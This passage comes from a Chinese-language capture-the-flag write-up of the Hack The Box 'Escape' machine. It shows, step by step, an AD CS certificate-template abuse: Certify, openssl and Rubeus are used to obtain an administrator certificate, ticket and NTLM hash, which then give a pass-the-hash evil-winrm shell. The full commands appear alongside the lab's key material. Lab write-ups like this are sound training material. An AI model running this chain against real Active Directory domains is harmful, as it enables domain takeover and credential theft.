      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
      ···
      -----BEGIN RSA PRIVATE KEY-----
      MIIEpQIBAAKCAQEAwsKKKp/1ehoHihiQHWGIbXJDty3S7aq1KQsVf5/mxBJ4mD7Y
      Vjj9WhJcG5kbimLVT/2T+gD00nEadBIaISSDlS+4bg/jPeZD9XrXDt/ezLduskzR
      AUzw5Pr/Q9c51fOLI9uUMM/cXXXX9nxM7KTGjlG+6XqJ0HNTL8fRRnqYdoPSQvsA
      vuzXf+c1uBxJKVuglJMUdRIUeuXTa5UbwsI33Oz8bCgErJWTxHu1vTTIWJQ6jGn8
      fW9ocIMe+0JYzzsdA67yczxscaqFXucm9xejRDS+PHcBN/eg6vOv7Q33OlYS0f4F
      SB6i1zRez6DBfE4tHtTuS0IPO8bc851vZe/ezQIDAQABAoIBAQCwEUz1EdzKwKNW
      PbRzS0wZnXYIML4CLBRQgXuy/+yQDx7Ei/PppuWrOvPX40dZiNXM1bKkDZ9GbAd9
      LSxAEBGAmj6CCYzm1bdUQfQPt2Vk7uN8/yLnqRYR+7MvMnBPsjd0eDp1EkTmnPVb
      GK42NRRnbxFHY4cZUli+1kakD4qrgBZ/u3KUR5CVBIRPy4bzzEv3EmkMr2gBuJOY
      2klrO0zrVA7xqBl6j6xMTzLuUDc1KitJoa9l96vBfM7+Y7+L76sJo1YoA9JPF8fp
      aP5/3BpGF8UCLDFqnHQKzeghkLkBbuYRoL2HM6flnQJr5xKN6cM3IX/ZcF9pUeqA
      xSH25kfFAoGBANkVs9SAjMy2ZZc+fTfeiBAxEUDHtpgAC6FPljV739f6BrrWviEM
      a+g+2DMTYwde0zfScYP1DSW1Wk+QRscu/rpgi1AyOS1gTghWm6C3wOQYBdzu8kYo
      VRq2t+M93crBuHCz34LgdtLz7sjYzMlT+xhc5l4L64Y4lI8zH44z3nd3AoGBAOWs
      UjhSXO1oJ/nycnxT/FLz4A5vxQruOe/NqsML4R3UgbL8muM0IqzSm+VdArCkFzF4
      gliaVAUrroOOG7z5eFVgB59RjICiKIrn7XezGOoI9pzrq8R21NIo8GIIs1CQGsOh
      7uWUDC6ChwRWZB3iIDyP5JG/PWa10iJkoqoiYLTbAoGBAIfwBidIxGKgyScXk3P7
      3ro876/gH+A5Dw9ZdhdR1c86GyK+vFqXm67YQ6xgNH/2ClAHcNwQBMabNM1j7F5o
      eEyfjj2O5a0bhGHGUjgnORvcSzeZTY9PTFOpHaeoIw4HlwbELG+ZPe9Fnz6YPEzK
      UQ9lhUBZOIhZP/YYLmdu5Z1rAoGBAMvyXYCOAt7+YqFdXbRxj9rJnOi077BpIyGC
      7GQPJHQsxI+AKLohDbmRu8XM9hqNW9sePAEZ6go9Y9aGVrNUhDqr75jV/YIsfPv8
      P67PZwxLsVJfJERtkUad+/fR6glcLagTH+TVtouGdQaxAG5Y4m9lB3805v1R76uC
      2b9ij6WJAoGAKxteF5ipjWZ8Oe5tL7/+y1WYsFMU0Voc3vrldfIN+hcwe3df/461
      PxP7TfFC4set0ujj2CFDi77LBlC3bq6YRxWy5BvvY9Kop4kJsgRp90LlWDC4kBX7
      yE32qUTEFFCsP4spb0phMCVZT5U8+eCKPUm94DfAziww+vMF5WTrR1Y=
      -----END RSA PRIVATE KEY-----
      -----BEGIN CERTIFICATE-----
      MIIGEjCCBPqgAwIBAgITHgAAAA2PTgRVoccI3AAAAAAADTANBgkqhkiG9w0BAQsF
      ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
      MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjQwMjIzMDEyMzEzWhcNMzQwMjIw
      MDEyMzEzWjBTMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYG
      c2VxdWVsMQ4wDAYDVQQDEwVVc2VyczEUMBIGA1UEAxMLUnlhbi5Db29wZXIwggEi
      MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDCwooqn/V6GgeKGJAdYYhtckO3
      LdLtqrUpCxV/n+bEEniYPthWOP1aElwbmRuKYtVP/ZP6APTScRp0EhohJIOVL7hu
      D+M95kP1etcO397Mt26yTNEBTPDk+v9D1znV84sj25Qwz9xdddf2fEzspMaOUb7p
      eonQc1Mvx9FGeph2g9JC+wC+7Nd/5zW4HEkpW6CUkxR1EhR65dNrlRvCwjfc7Pxs
      KASslZPEe7W9NMhYlDqMafx9b2hwgx77QljPOx0DrvJzPGxxqoVe5yb3F6NENL48
      dwE396Dq86/tDfc6VhLR/gVIHqLXNF7PoMF8Ti0e1O5LQg87xtzznW9l797NAgMB
      AAGjggLsMIIC6DA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3FQiHq/N2hdymVof9
      lTWDv8NZg4nKNYF338oIhp7sKQIBZQIBBDApBgNVHSUEIjAgBggrBgEFBQcDAgYI
      KwYBBQUHAwQGCisGAQQBgjcKAwQwDgYDVR0PAQH/BAQDAgWgMDUGCSsGAQQBgjcV
      CgQoMCYwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwQwDAYKKwYBBAGCNwoDBDBEBgkq
      hkiG9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwBwYF
      Kw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFOL9cZuOd+OAe+Xtxh2t52aSyq2Z
      MCgGA1UdEQQhMB+gHQYKKwYBBAGCNxQCA6APDA1hZG1pbmlzdHJhdG9yMB8GA1Ud
      IwQYMBaAFGKfMqOg8Dgg1GDAzW3F+lEwXsMVMIHEBgNVHR8EgbwwgbkwgbaggbOg
      gbCGga1sZGFwOi8vL0NOPXNlcXVlbC1EQy1DQSxDTj1kYyxDTj1DRFAsQ049UHVi
      bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
      bixEQz1zZXF1ZWwsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFz
      ZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBvQYIKwYBBQUHAQEE
      gbAwga0wgaoGCCsGAQUFBzAChoGdbGRhcDovLy9DTj1zZXF1ZWwtREMtQ0EsQ049
      QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNv
      bmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/
      b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
      AAOCAQEAfK91Lo7M6TeaJSKUQC5S+k/oUxkZ5SsgSQ88aOh05JxSyIXIpg3raVWo
      JrATEFaOT4CcA0uvEkRNdwTMX23wcro/IgRIkQz7t54ckGSwcZ9jKy7dT2iiDEsF
      dOSS7wl6Ze9jPtvsvLokZo7K8vfZemJo2gpfIafqXe2p+PwdxRv3w9/P+37A2a5b
      foesdFYFjqb2etRHsgEB88jRpN8vO9VCJ7tSS8l5MMzTDkrUAhceP8rsoumt5B9O
      ANsTdogHQlmSIWi4xCf8lOBCGy+W1uHZ5oJ0qMSFqk89tNer2GiEDtYjqTnWqpV8
      K1ITYcTWgbRkjKnH95PB//50UahjsA==
      -----END CERTIFICATE-----
      ···
    
  • 可以将生成的SA密钥和证书保存在一个文件cert.pem中,并将其转换为cert.pfx

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
      Enter Export Password:
      Verifying - Enter Export Password:
    
  • 上传cert.pfxRubeus.exe,使用Rubeus.exe 进行身份验证:

      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload cert.pfx
      Info: Uploading cert.pfx to C:\Users\Ryan.Cooper\Documents\cert.pfx
    
                                                                    
      Data: 4564 bytes of 4564 bytes copied
    
      Info: Upload successful!
    
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload Rubeus.exe
      ···
    
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> dir
    
    
          Directory: C:\Users\Ryan.Cooper\Documents
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      -a----        2/22/2024  10:21 AM          11606 20240222102115_BloodHound.zip
      -a----        2/22/2024   5:41 PM           3425 cert.pfx
      -a----        2/22/2024   5:06 PM         174080 Certify.exe
      -a----        2/22/2024  10:21 AM           8395 NjQ0M2M1ZmEtNTkyNy00OWNjLWJmNzAtOWZiMzUxMzM4MmNj.bin
      -a----        2/22/2024   5:48 PM         446976 Rubeus.exe
      -a----        2/22/2024   9:42 AM        1046528 SharpHound.exe
    
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password: /ptt
    
      ______        _
      (_____ \      | |
      _____) )_   _| |__  _____ _   _  ___
      |  __  /| | | |  _ \| ___ | | | |/___)
      | |  \ \| |_| | |_) ) ____| |_| |___ |
      |_|   |_|____/|____/|_____)____/(___/
    
      v2.2.0
    
      [*] Action: Ask TGT
    
      [*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
      [*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\administrator'
      [*] Using domain controller: fe80::b025:b247:3fb:aaef%4:88
      [+] TGT request successful!
      [*] base64(ticket.kirbi):
    
          doIGSDCCBkSgAwIBBaEDAgEWooIFXjCCBVphggVWMIIFUqADAgEFoQwbClNFUVVFTC5IVEKiHzAdoAMC
          AQKhFjAUGwZrcmJ0Z3QbCnNlcXVlbC5odGKjggUaMIIFFqADAgESoQMCAQKiggUIBIIFBDrq6D6xQ/GD
          YF/X0wc6lDIXg80l5rwh+CnIqdaDrfpFwkp+pmIToBKV8nq/dgDDuAE4B1E1jfp0RlZjbfElsmD/pXTZ
          aEKw/Yzu9xl92L6FBatUVCThfH7OsFNCQH3//v7F9G2jZSYmw5iFgAQ1kGH8frmffz8LJanRBIxaChVM
          hu8hPU4ZzDAWzEjiSshTD5gjQXChKD2FT7Nyy3GTNov5AElu6NJ/LWzYORoh/K9Ejqi8hDzzhVMY55yS
          VA5O0w3JZGvFpU5SiIInr58HmFOy2YIzA4SAM64qVOjt5jyIK+GR97O/iFOtsOXIFny+7h/1MOwBvAux
          CB6VwUJHpLCqzZ/IbJQg93Sl1U3xk/xfLiTJ/vbozxy6GiiNzmjIQZ3bzg1oDFSfbTDVYTFhBmV4xACE
          ga2RwVjjSsFcuovC4vxEIZgkfhsB+yDzEAK7KeRVjF9Dda89AS0icM0mzh1J5/hXAHFXzs3RomVADFPD
          /eCTiEOxvBjfmVWReY/3Gn0+oES0j9w2d+suTvXVrowz5v+UC0uSwIekv8UPEM6ChB2+vfcxGTbHrEM3
          Ls55m4eneXnxcOgl89ry9QC4TGKmtEZj2TAUTrtgv/pzFae1mSJJ/N3rc5cm1aAjdZZGRf1VW6l+MWec
          Tqz/jFf+qSt031TfXAr8tu9WK7xJWkadq/9Iu/5uUl7cv3dNFARLmRLNhF1SLDrUpr0xGFGwISeFzXHe
          ouQ2BEvjderCPZXqc2aCjFcekJ3R7BoVB4c+3OFnqivwFbnTFMAfLTSw0aBp7zCUWZ8kr2JFNWNEO23Y
          5+CHBlqMMMkH+Ra/a67L9GdDoWtUu+we7mjaeEVjumRXIajzmPfoMrqbFSQnSAqPk1cSb+BmXEelvrI9
          eo3W2xpBIJmkBg6x344cH0A9hVQy/jVpLcwhJjDUuHI3RrQm8vXcD5iApJGhnA37N3iDHtEBwuL1GoUg
          xHRI8ZEdWMlBWI7oZBvlz0RvNT2A9YTwT5EA7T2BOqrkh5z7qe84lqLYa2hddvb3ZxOaP2/ZGFsoFfLn
          pQlfSU2YLF5tJKxA/V/+X0ssKhQrWFYmQhhOXPRBqkBGljHBjMOoxmDVMWm+SUAvtoApVHva3S2daZ2V
          Hqk8gDB5yzhcnLsjpB9981MsxW9+N2nUeTfkC/ILApjX0yGKh97xA24LHisLiADRsEJ5rjFdtHIVxTqk
          WTO2n2ry8bKxXGchT6V6FvxTAht/3T0h4gp613mewUoiYzNhIiNDrs4iZPeVIgunPY/sGM40QaIc5+D+
          E3X06oZCYRJNzbAL3dOrhwhwKmRmfixHFrCjk7YXADX2Y9V1Zu2J9jDKqrJsLkNk1LoDc207yGkmGjTj
          XPHmuo4z9aL7aZxGhPu2aJqDRh2QhJU2J7tAWzhaHt1NlIFJKdlaMQp/M6AmcF33jxCVNeORugL6LwjW
          iih6ESeM9L7bA0z7tM7IPuQDCB0V6cSEq9oBtbZA1TQE/2tiO0HG3utzdSdvliME+/KlmEtjMq5nnNst
          nHuz8oTOtKLDVhE7t8bvNvD8iYbJbmVRXsH1fnjQZ/YB7GdFx1sOyNa/4fHpqDl9blw0cEU0i1zFqJcN
          unfs0lSr+sUy2PKyo3Zv/RQB63csXhDHVJf11FkPXEnHGi5kS+w+CaMEv57p8tuX0b/oPYQkm/exjVjy
          BQrI53yBiB3lWTtIsRudcqOB1TCB0qADAgEAooHKBIHHfYHEMIHBoIG+MIG7MIG4oBswGaADAgEXoRIE
          EHCDODaTVbylMf1KiZ1Iu4uhDBsKU0VRVUVMLkhUQqIaMBigAwIBAaERMA8bDWFkbWluaXN0cmF0b3Kj
          BwMFAADhAAClERgPMjAyNDAyMjMwMTUxMjhaphEYDzIwMjQwMjIzMTE1MTI4WqcRGA8yMDI0MDMwMTAx
          NTEyOFqoDBsKU0VRVUVMLkhUQqkfMB2gAwIBAqEWMBQbBmtyYnRndBsKc2VxdWVsLmh0Yg==
      [+] Ticket successfully imported!
    
      ServiceName              :  krbtgt/sequel.htb
      ServiceRealm             :  SEQUEL.HTB
      UserName                 :  administrator
      UserRealm                :  SEQUEL.HTB
      StartTime                :  2/22/2024 5:51:28 PM
      EndTime                  :  2/23/2024 3:51:28 AM
      RenewTill                :  2/29/2024 5:51:28 PM
      Flags                    :  name_canonicalize, pre_authent, initial, renewable
      KeyType                  :  rc4_hmac
      Base64(key)              :  cIM4NpNVvKUx/UqJnUi7iw==
      ASREP (key)              :  2C1A42D94AAB9A0BCDF8DF4E07095F76
    
  • 这样的票据在Evil-WinRM上不起作用,这里采用 /getcredentials /show /nowrap 运行相同的命令,这将做同样的事情,并尝试转储关于帐户的凭据信息:

      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials /show /nowrap
    
      ______        _
      (_____ \      | |
      _____) )_   _| |__  _____ _   _  ___
      |  __  /| | | |  _ \| ___ | | | |/___)
      | |  \ \| |_| | |_) ) ____| |_| |___ |
      |_|   |_|____/|____/|_____)____/(___/
    
      v2.2.0
    
      [*] Action: Ask TGT
    
      [*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
      [*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator'
      [*] Using domain controller: fe80::ec44:5250:b71d:664%4:88
      [+] TGT request successful!
      [*] base64(ticket.kirbi):
    
          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
    
      ServiceName              :  krbtgt/sequel.htb
      ServiceRealm             :  SEQUEL.HTB
      UserName                 :  Administrator
      UserRealm                :  SEQUEL.HTB
      StartTime                :  2/23/2024 2:05:52 PM
      EndTime                  :  2/24/2024 12:05:52 AM
      RenewTill                :  3/1/2024 2:05:52 PM
      Flags                    :  name_canonicalize, pre_authent, initial, renewable
      KeyType                  :  rc4_hmac
      Base64(key)              :  taPwc0iGezdVgTho/8ISjw==
      ASREP (key)              :  884EC8B6589FD6CB7B062F8DEA89067B
    
      [*] Getting credentials using U2U
    
      CredentialInfo         :
          Version              : 0
          EncryptionType       : rc4_hmac
          CredentialData       :
          CredentialCount    : 1
          NTLM              : A52F78E4C751E5F5E17E1E9F3E58F4EE
    
  • 得到NTML-HASH即可登录:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ evil-winrm -u administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE -i 10.10.11.202
      ···
      *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
      sequel\administrator
      *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
      *Evil-WinRM* PS C:\Users\Administrator\desktop> dir
    
    
          Directory: C:\Users\Administrator\desktop
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      -ar---        2/23/2024   1:16 PM             34 root.txt
      ···
    

Reference

Escape

Mssqlclient的基本使用命令

MSSQL (Microsoft SQL) Pentesting

AD CS Domain Escalation